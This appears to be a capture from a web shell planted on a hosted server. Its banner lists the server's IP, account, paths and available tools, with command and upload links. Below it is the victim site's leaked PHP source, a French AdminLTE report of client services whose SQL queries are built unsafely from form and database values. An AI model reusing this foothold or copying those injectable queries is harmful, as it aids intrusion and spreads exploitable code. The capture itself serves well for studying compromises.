|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MCPRO/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>AdminLTE 2 | Data Tables</title>
<!-- Tell the browser to be responsive to screen width -->
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<!-- Bootstrap 3.3.7 -->
<link rel="stylesheet" href="../../bower_components/bootstrap/dist/css/bootstrap.min.css">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../bower_components/font-awesome/css/font-awesome.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="../../bower_components/Ionicons/css/ionicons.min.css">
<!-- DataTables -->
<link rel="stylesheet" href="../../bower_components/datatables.net-bs/css/dataTables.bootstrap.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/AdminLTE.min.css">
<!-- AdminLTE Skins. Choose a skin from the css/skins
folder instead of downloading all of them to reduce the load. -->
<link rel="stylesheet" href="../../dist/css/skins/_all-skins.min.css">
<link rel="stylesheet"
href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,600,700,300italic,400italic,600italic">
<style>
body {
background-color: rgb(236,240,245);
}
.box-body {
background-color: rgb(255,255,255);
}
</style>
</head>
<body class="hold-transition skin-blue sidebar-mini">
<!-- /.row -->
<?php
$sem = array ('Dimanche', 'Lundi', 'Mardi', 'Mercredi', 'Jeudi', 'Vendredi', 'Samedi') ;
// exit() ;
// echo "testttttttttttttttttttttttttttttttttttttttttttttttttttttttt <br/>" ;
include_once 'code/init.php';
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
// print_header ();
// [client_actif]
?>
<div class="box">
<div class="box-body">
<div class="tab-pane" id="settings">
<form class="form-horizontal" id="produit_form" name="produit_form" method="post" action="">
<?
?>
<div class="form-group">
<label for="inputName" class="col-sm-2 control-label"> </label>
<label for="inputName" class="col-sm-2 control-label">Date début </label>
<div class="col-sm-6">
<?php print_date_selection2('datedeb')?>
</div>
<div class="col-sm-4">
</div>
</div>
<div class="form-group">
<label for="inputName" class="col-sm-2 control-label"> </label>
<label for="inputName" class="col-sm-2 control-label">Date fin </label>
<div class="col-sm-6">
<?php print_date_selection2('datefin')?>
</div>
<div class="col-sm-4">
</div>
</div>
</div>
<div align="center">
<input class="btn btn-primary" type="submit" name="actionform" value="Valider"/>
</div>
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<TH align="center" >Client</TH>
<TH align="center" >Salarié</TH>
<TH align="center" >Jour prestation </TH>
<TH align="center" >Duree prestation </TH>
<TH align="center" >Début de prestation</TH>
<TH align="center" >Fin de prestation</TH>
</tr><tbody>
<?php
$today = date("Ymd");
$from = date2int($_POST['datedebday'],$_POST['datedebmonth'],$_POST['datedebyear']);
$to = date2int($_POST['datefinday'],$_POST['datefinmonth'],$_POST['datefinyear']);
$RR=dbi_query("SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and pm.presta_id =p.presta_id and ( start between $from and $to or presta_date_fin between $from and $to ) and presta_recur='1' and pm.inter_id IS NOT NULL ");
$RRR=dbi_query("SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and pm.presta_id =p.presta_id and ( start between $from and $to ) and presta_recur='1' and pm.inter_id IS NOT NULL ");
// $RRR=dbi_query("SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and pm.presta_id =p.presta_id and ( start between $from and $to or presta_date_fin between $from and $to ) and presta_recur='1' and pm.inter_id IS NOT NULL ");
$R=dbi_query("SELECT * FROM prestation p , client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and ( presta_date_debut between $from and $to or presta_date_fin between $from and $to ) and presta_recur='1' and p.agence_id = $agence ");
while($cl = dbi_fetch_row($R))
{
// list($inter_nom , $inter_pnom) = dbi_fetch_row(dbi_query("SELECT inter_nom , inter_pnom FROM `intervenant` WHERE `inter_id` = ".$cl['interr'])) ;
// $chain_nom= $inter_nom." ".$inter_pnom ;
// ." ".$cl['client_id']." presta_i ==> ".$cl['presta_id']." id modif=====>".$cl['id']
// ." ".$cl['interr']." ".$cl['inter_id']
if( $cl['presta_date_debut'] <= $to and $cl['presta_date_debut'] >= $from)
{
$deb = $cl['presta_date_debut'] ;
}
else
{
$deb = "" ;
}
if( $cl['presta_date_fin'] <= $to and $cl['presta_date_fin'] >= $from)
{
$fin = $cl['presta_date_fin'] ;
}
else
{
$fin = "" ;
}
?>
<tr>
<td ><?=$cl['client_nom']?></td>
<td ><?=$cl['inter_nom']?></td>
<td ><?= $sem[strpos($cl['presta_jour'], 'y')]?></td>
<td ><?=$cl['presta_Hduree']." mn"?></td>
<td ><?=int2date($deb)?></td>
<td ><?=int2date($fin)?></td>
</tr>
<?
}
?>
<?
while($cl = dbi_fetch_row($RR))
{
list($inter_nom , $inter_pnom) = dbi_fetch_row(dbi_query("SELECT inter_nom , inter_pnom FROM `intervenant` WHERE `inter_id` = ".$cl['interr'])) ;
$chain_nom= $inter_nom." ".$inter_pnom ;
// ." ".$cl['client_id']." presta_i ==> ".$cl['presta_id']." id modif=====>".$cl['id']
// ." ".$cl['interr']." ".$cl['inter_id']
if( $cl['start'] <= $to and $cl['start'] >= $from)
{
$deb = $cl['start'] ;
}
else
{
$deb = "" ;
}
if( $cl['presta_date_fin'] <= $to and $cl['presta_date_fin'] >= $from)
{
$fin = $cl['presta_date_fin'] ;
}
else
{
$fin = "" ;
}
// $cl['client_nom']." RR ".$cl['client_id']." presta_i ==> ".$cl['presta_id']." id modif=====>".$cl['id']
?>
<tr>
<td ><?=$cl['client_nom']?></td>
<td ><?=$chain_nom?></td>
<td ><?= $sem[strpos($cl['presta_jour'], 'y')]?></td>
<td ><?=$cl['presta_Hduree']." mn"?></td>
<td ><?=int2date($deb)?></td>
<td ><?=int2date($fin)?></td>
</tr>
<?
}
?>
<?
while($cl = dbi_fetch_row($RRR))
{
$qu=dbi_query("SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and pm.inter_id = intr.inter_id and pm.presta_id =p.presta_id and presta_recur='1' and pm.presta_id =".$cl['presta_id']." and pm.inter_id IS NOT NULL and pm.id !=".$cl['id']." and date < '".$cl['date']."' order by date DESC LIMIT 0 , 1" );
list($presta_id)=dbi_fetch_row(dbi_query("SELECT pm.presta_id interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and pm.presta_id =p.presta_id and pm.presta_id =".$cl['presta_id']." and presta_recur='1' and pm.inter_id IS NOT NULL and pm.id !=".$cl['id']." and date < '".$cl['date']."' order by date DESC LIMIT 0 , 1" ));
$ab = 0 ;
if(empty($presta_id))
{
$qu=dbi_query("SELECT * FROM prestation p , client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and presta_recur='1' and p.agence_id = $agence and presta_id = ".$cl['presta_id']);
$ab = 2 ;
}
// else
// {
// echo "==>".$qu['id']."<br/>" ;
// echo "SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and p.inter_id = intr.inter_id and pm.presta_id =p.presta_id and ( start between $from and $to or presta_date_fin between $from and $to ) and presta_recur='1' and pm.inter_id IS NOT NULL and pm.id !=".$cl['id']." and date < '".$cl['date']."' order by date LIMIT 0 , 1"."<br/>" ;
// echo "SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and pm.inter_id = intr.inter_id and pm.presta_id =p.presta_id and presta_recur='1' and pm.presta_id =".$cl['presta_id']." and pm.inter_id IS NOT NULL and pm.id !=".$cl['id']." and date < '".$cl['date']."' order by date DESC LIMIT 0 , 1"."<br/>" ;
// echo "SELECT * , pm.inter_id as interr FROM prestation p , presta_modif pm, client c , intervenant intr where p.client_id = c.client_id and pm.inter_id = intr.inter_id and pm.presta_id =p.presta_id and presta_recur='1' and pm.inter_id IS NOT NULL and pm.id !=".$cl['id']." and date < '".$cl['date']."' order by date DESC LIMIT 0 , 1"."<br/>" ;
while($bbc=dbi_fetch_row($qu) )
{
// echo "yassino <br/>"
// if( $ab == 2 )
// {
// $deb = $cl['presta_date_debut'] ;
// }
// else
// {
$deb = $cl['start'] ;
// }
?>
<tr>
<td ><?=$bbc['client_nom']?></td>
<td ><?=$bbc['inter_nom']." ( ancien )"?></td>
<td ><?= $sem[strpos($bbc['presta_jour'], 'y')]?></td>
<td ><?=$bbc['presta_Hduree']." mn"?></td>
<td ><?=" <======>"?></td>
<td ><?=int2date($deb)?></td>
</tr>
<?
}
// echo "bbbb <br/>" ;s
list($inter_nom , $inter_pnom) = dbi_fetch_row(dbi_query("SELECT inter_nom , inter_pnom FROM `intervenant` WHERE `inter_id` = ".$cl['interr'])) ;
$chain_nom= $inter_nom." ".$inter_pnom ;
// ." ".$cl['client_id']." presta_i ==> ".$cl['presta_id']." id modif=====>".$cl['id']
// ." ".$cl['interr']." ".$cl['inter_id']
if( $cl['start'] <= $to and $cl['start'] >= $from)
{
$fin = $cl['start'] ;
}
else
{
$fin = "" ;
}
// if( $cl['presta_date_fin'] <= $to and $cl['presta_date_fin'] >= $from)
// {
// $fin = $cl['presta_date_fin'] ;
// }
// else
// {
// $fin = "" ;
// }
?>
<?
}
?>
</table>
</div>
<table style="position:absolute; top:10px; right:872px;" >
<tr>
</table>
<!-- /.col -->
<script src="bower_components/jquery/dist/jquery.min.js"></script>
<!-- Bootstrap 3.3.7 -->
<script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
<!-- DataTables -->
<script src="bower_components/datatables.net/js/jquery.dataTables.min.js"></script>
<script src="bower_components/datatables.net-bs/js/dataTables.bootstrap.min.js"></script>
<!-- SlimScroll -->
<script src="bower_components/jquery-slimscroll/jquery.slimscroll.min.js"></script>
<!-- FastClick -->
<script src="bower_components/fastclick/lib/fastclick.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<!-- page script -->
<script>
$(function () {
$('#example1').DataTable()
$('#example2').DataTable({
'paging' : true,
'lengthChange': false,
'searching' : false,
'ordering' : true,
'info' : true,
'autoWidth' : false
})
})
</script>
</body>
</html>